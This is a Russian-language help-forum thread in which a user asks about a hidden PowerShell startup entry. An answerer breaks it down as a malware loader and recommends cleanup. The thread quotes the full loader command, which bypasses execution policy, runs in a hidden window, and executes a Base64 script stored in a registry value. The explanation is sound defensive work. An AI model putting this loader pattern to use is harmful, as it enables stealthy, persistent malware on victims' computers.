
Пару дней назад я заметил в диспетчере задач, что у меня запущен процесс powershell.exe. Когда я зашел в msconfig, там была очень длинная команда. Вот она:
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));
Это действительно странно, потому что только сегодня появился случайный процесс, с которым у меня были проблемы раньше (может быть, это не связано с этим, просто говорю), который является вирусом и пытается загрузить незащищенный драйвер, как говорит Windows, на мой ПК. Может кто-нибудь рассказать мне что-нибудь об этом процессе PowerShell? Он запускается при запуске и всегда работает. Опять же, надеюсь, я не кажусь невежественным, может быть, это просто обычный процесс запуска.
решение1
Это почти наверняка вредоносно.
Давайте разберем его. Он вызывает Windows PowerShell (легитимный и очень полезный интерпретатор команд) без пользовательских настроек ( -noprofile
) в скрытом окне ( -windowstyle hidden
), позволяя сеансу PowerShell запускать скрипты независимо от системной политики ( -executionpolicy bypass
). Затем он запускает эту команду:
iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))
gp
означает Get-ItemProperty
, который может быть использован для извлечения значений ключей реестра, и это то, что он здесь делает. По-видимому, есть ключ, называемый SAJELFZIXHQTV
в вашем текущем Software\Classes
ключе пользователя. Этот ключ имеет значение, называемое ADUXJH
, данные в котором и есть то, что gp
извлекается. Эти данные (очевидно, строка) затемBase64-декодируется в массив байтов ( FromBase64String
). Затем эти байты интерпретируются как текст ASCII ( ASCII.GetString
). Как ни странно, в оригинале есть лишняя точка, что должно вызвать ошибку, поскольку ASCII
у объекта нет члена с именем Get
. Однако, учитывая, что процесс продолжается, я подозреваю, что лишняя точка — это просто ошибка транскрипции.
Если бы этой ошибки не было, полученный текст был бы вызван как команда PowerShell ( iex
). Короче говоря, эта команда предназначена для загрузки закодированного скрипта из реестра и его выполнения. Чтобы точно увидеть, что именно она запускает, скопируйте указанную выше команду PowerShell без and iex
с удаленной дополнительной точкой в командную строку PowerShell и запустите ее. Она выведет команду, которая будет вызвана. Она почти наверняка не будет безобидной.
Вы можете остановить автоматический запуск этой записи с помощьюАвтозапускиинструмент. Однако, вероятно, будет хорошей идеей провести более глубокую очистку вашего компьютера, поскольку он, скорее всего, заражен. Пожалуйста, см.Как удалить вредоносное шпионское ПО, вредоносное ПО, рекламное ПО, вирусы, трояны или руткиты с моего ПК?